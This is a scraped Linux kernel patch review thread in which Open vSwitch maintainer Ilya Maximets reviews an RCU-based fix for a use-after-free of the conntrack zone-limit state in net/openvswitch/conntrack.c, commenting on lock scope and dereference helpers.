-13@@ -933,10 +933,14 @@ static int ovs_ct_check_limit(struct net *net, const struct ovs_conntrack_info *info) {struct ovs_net *ovs_net =net_generic (net, ovs_net_id); -const struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +const struct ovs_ct_limit_info *ct_limit_info;u32 per_zone_limit, connections;u32 conncount_key; + ct_limit_info =rcu_dereference (ovs_net->ct_limit_info); +if (!ct_limit_info) +return 0 ; + conncount_key = info->zone.id; per_zone_limit =ct_limit_get (ct_limit_info, info->zone.id);@@ -1585,40 +1589,47 @@ static void __ovs_ct_free_action(struct ovs_conntrack_info *ct_info)#if IS_ENABLED (CONFIG_NETFILTER_CONNCOUNT )static int ovs_ct_limit_init (struct net *net,struct ovs_net *ovs_net) { +struct ovs_ct_limit_info *info;int i, err; - ovs_net->ct_limit_info =kmalloc_obj (*ovs_net->ct_limit_info); -if (!ovs_net->ct_limit_info) + info =kmalloc_obj (*info); +if (!info)return -ENOMEM ; - ovs_net->ct_limit_info->default_limit =OVS_CT_LIMIT_DEFAULT ; - ovs_net->ct_limit_info->limits = + info->default_limit =OVS_CT_LIMIT_DEFAULT ; + info->limits = kmalloc_objs(struct hlist_head, CT_LIMIT_HASH_BUCKETS); -if (!ovs_net->ct_limit_info->limits) { -kfree (ovs_net->ct_limit_info); +if (!info->limits) { +kfree (info);return -ENOMEM ; }for (i =0 ; i <CT_LIMIT_HASH_BUCKETS ; i++) -INIT_HLIST_HEAD (&ovs_net->ct_limit_info->limits[i]); +INIT_HLIST_HEAD (&info->limits[i]); - ovs_net->ct_limit_info->data =nf_conncount_init (net,sizeof (u32)); + info->data =nf_conncount_init (net,sizeof (u32)); -if (IS_ERR (ovs_net->ct_limit_info->data)) { - err =PTR_ERR (ovs_net->ct_limit_info->data); -kfree (ovs_net->ct_limit_info->limits); -kfree (ovs_net->ct_limit_info); +if (IS_ERR (info->data)) { + err =PTR_ERR (info->data); +kfree (info->limits); +kfree (info);pr_err ("openvswitch: failed to init nf_conncount %d\n" , err);return err; } +rcu_assign_pointer (ovs_net->ct_limit_info, info);return 0 ; }net/openvswitch/conntrack.c static void __ovs_ct_free_action(struct ovs_conntrack_info *ct_info) · line 1630
Quoted 10 lines
net/openvswitch/conntrack.c +4
-1static void ovs_ct_limit_exit (struct net *net,struct ovs_net *ovs_net) { -const struct ovs_ct_limit_info *info = ovs_net->ct_limit_info; +const struct ovs_ct_limit_info *info;int i; + info =rcu_replace_pointer (ovs_net->ct_limit_info,NULL , +lockdep_ovsl_is_held ()); +/* ovs_ct_check_limit() accesses the info under the datapath RCU lock. */ 'datapath RCU lock' is a strange wording. 'RCU read lock' may be better. But also, the comment is not particularly useful. It could say 'wait for other CPUs to stop using ct limits', or something like that instead.
net/openvswitch/conntrack.c static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit, · line 1683
Quoted 12 lines
net/openvswitch/conntrack.c +2
-2+synchronize_rcu (); +nf_conncount_destroy (net, info->data);for (i =0 ; i <CT_LIMIT_HASH_BUCKETS ; ++i) {struct hlist_head *head = &info->limits[i];@@ -1678,9 +1689,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,while (rem >=sizeof (*zone_limit)) {if (unlikely (zone_limit->zone_id ==OVS_ZONE_LIMIT_DEFAULT_ZONE )) { -ovs_lock (); info->default_limit = zone_limit->limit; -ovs_unlock ();Enlarging the critical section for the
ovs_mutex()doesn't sound nice. There are multiple memory allocations and other things in the path that could take a decent amount of time holding the lock. Might be better to passovs_netinto set and del funtions instead and do the rcu dereferencing right here after taking the lock. It will be done in 4 places in the code, but you're doing it in 3 places right now, so code-wise it's not that different. E.g.:---
ovs_lock();(quoted diff) +5
-1+ info = ovsl_dereference(ovs_net->ct_limit_info); + if (!info) { + ovs_unlock(); + return -ENOENT; + } info->default_limit = zone_limit->limit; ovs_unlock(); ---If we do so, then
ovs_netshould likely be the first argument of the function.Quoted 40 lines
net/openvswitch/conntrack.c +1
-7}else if (unlikely (!check_zone_id ( zone_limit->zone_id, &zone))) {OVS_NLERR (true,"zone id is out of range" );@@ -1694,9 +1703,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit, ct_limit->zone = zone; ct_limit->limit = zone_limit->limit; -ovs_lock ();ct_limit_set (info, ct_limit); -ovs_unlock (); } rem -=NLA_ALIGN (sizeof (*zone_limit)); zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +@@ -1722,16 +1729,12 @@ static int ovs_ct_limit_del_zone_limit(struct nlattr *nla_zone_limit,while (rem >=sizeof (*zone_limit)) {if (unlikely (zone_limit->zone_id ==OVS_ZONE_LIMIT_DEFAULT_ZONE )) { -ovs_lock (); info->default_limit =OVS_CT_LIMIT_DEFAULT ; -ovs_unlock (); }else if (unlikely (!check_zone_id ( zone_limit->zone_id, &zone))) {OVS_NLERR (true,"zone id is out of range" ); }else { -ovs_lock ();ct_limit_del (info, zone); -ovs_unlock (); } rem -=NLA_ALIGN (sizeof (*zone_limit)); zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +@@ -1850,7 +1853,7 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info)struct sk_buff *reply;struct ovs_header *ovs_reply_header;struct ovs_net *ovs_net =net_generic (sock_net (skb->sk), ovs_net_id); -struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +struct ovs_ct_limit_info *ct_limit_info;int err; reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_SET,net/openvswitch/conntrack.c static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info) · line 1871
Quoted 6 lines
net/openvswitch/conntrack.c +3
-0@@ -1863,16 +1866,22 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info) goto exit_err; } +ovs_lock (); + ct_limit_info =rcu_dereference_protected (ovs_net->ct_limit_info, +lockdep_ovsl_is_held ());Should use
ovsl_dereference()instead of open-coding it. And also, we should probably check that the result is not NULL, for consistency.net/openvswitch/conntrack.c static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info) · line 1880
Quoted 10 lines
net/openvswitch/conntrack.c +2
-1err =ovs_ct_limit_set_zone_limit (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ], ct_limit_info);if (err) - goto exit_err; + goto exit_unlock;static_branch_enable (&ovs_ct_limit_enabled);genlmsg_end (reply, ovs_reply_header); +ovs_unlock ();There is no point holding
ovs_mutexfor the entire reply message preparation and also the static branch setting. See above.Quoted 21 lines
net/openvswitch/conntrack.c +4
-1return genlmsg_reply (reply, info); +exit_unlock: +ovs_unlock (); exit_err:nlmsg_free (reply);return err;@@ -1884,7 +1893,7 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info)struct sk_buff *reply;struct ovs_header *ovs_reply_header;struct ovs_net *ovs_net =net_generic (sock_net (skb->sk), ovs_net_id); -struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +struct ovs_ct_limit_info *ct_limit_info;int err; reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_DEL,@@ -1897,14 +1906,20 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info) goto exit_err; } +ovs_lock ();net/openvswitch/conntrack.c static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info) · line 1918
Quoted 10 lines
net/openvswitch/conntrack.c +4
-1+ ct_limit_info =rcu_dereference_protected (ovs_net->ct_limit_info, +lockdep_ovsl_is_held ()); err =ovs_ct_limit_del_zone_limit (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ], ct_limit_info);if (err) - goto exit_err; + goto exit_unlock;genlmsg_end (reply, ovs_reply_header); +ovs_unlock ();Same here.
Quoted 15 lines
net/openvswitch/conntrack.c +3
-1return genlmsg_reply (reply, info); +exit_unlock: +ovs_unlock (); exit_err:nlmsg_free (reply);return err;@@ -1918,7 +1933,7 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info)struct ovs_header *ovs_reply_header;struct net *net =sock_net (skb->sk);struct ovs_net *ovs_net =net_generic (net, ovs_net_id); -struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +struct ovs_ct_limit_info *ct_limit_info;int err;
Quoted 8 lines
net/openvswitch/conntrack.c static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info) · line 1950
Quoted 6 lines
net/openvswitch/conntrack.c +1
-0reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_GET,@@ -1932,23 +1947,29 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info) goto exit_err; } +ovs_lock ();Why are we locking the
get()path? Is simplercu_dereferencenot enough?
Under rcu lock, of course.
Quoted 42 lines
Quoted 41 lines
net/openvswitch/conntrack.c +7
-2+ ct_limit_info =rcu_dereference_protected (ovs_net->ct_limit_info, +lockdep_ovsl_is_held ());if (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ]) { err =ovs_ct_limit_get_zone_limit ( net, a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ], ct_limit_info, reply);if (err) - goto exit_err; + goto exit_unlock; }else { err =ovs_ct_limit_get_all_zone_limit (net, ct_limit_info, reply);if (err) - goto exit_err; + goto exit_unlock; }nla_nest_end (reply, nla_reply);genlmsg_end (reply, ovs_reply_header); +ovs_unlock ();return genlmsg_reply (reply, info); +exit_unlock: +ovs_unlock (); exit_err:nlmsg_free (reply);return err;net/openvswitch/datapath.h +1
-1@@ -172,7 +172,7 @@ struct ovs_net {struct work_struct dp_notify_work;struct delayed_work masks_rebalance;#if IS_ENABLED (CONFIG_NETFILTER_CONNCOUNT ) -struct ovs_ct_limit_info *ct_limit_info; +struct ovs_ct_limit_info __rcu *ct_limit_info;#endif bool xt_label; };
Ilya Maximets
maintainerQuoted 13 lines · Ilya Maximets
Quoted 12 lines · Ilya Maximets
Quoted 11 lines · Ren Wei
From: Yuqi Xu <[email protected]>
Packet processing uses CT limit state under RCU, while netns teardown frees that state under
ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state.Replace the pointer before freeing the CT limit state. Wait for in-flight RCU readers before freeing its contents. Serialize CT limit netlink operations with teardown for the full lifetime of their state accesses.
Quoted 9 lines
Quoted 9 lines
Quoted 9 lines
Fixes 11efd5cb04a1 ("openvswitch: Support conntrack zone limit")Reported-by Vega <[email protected]>Assisted-by Codex:GPT-5.4Co-developed-by Nan Li <[email protected]>Signed-off-by Nan Li <[email protected]>Signed-off-by Yuqi Xu <[email protected]>Signed-off-by Ren Wei <[email protected]>---
Hi. It's been silent here for a while. Do you plan to send a new version of this fix, or should someone else take it over?
Best regards, Ilya Maximets.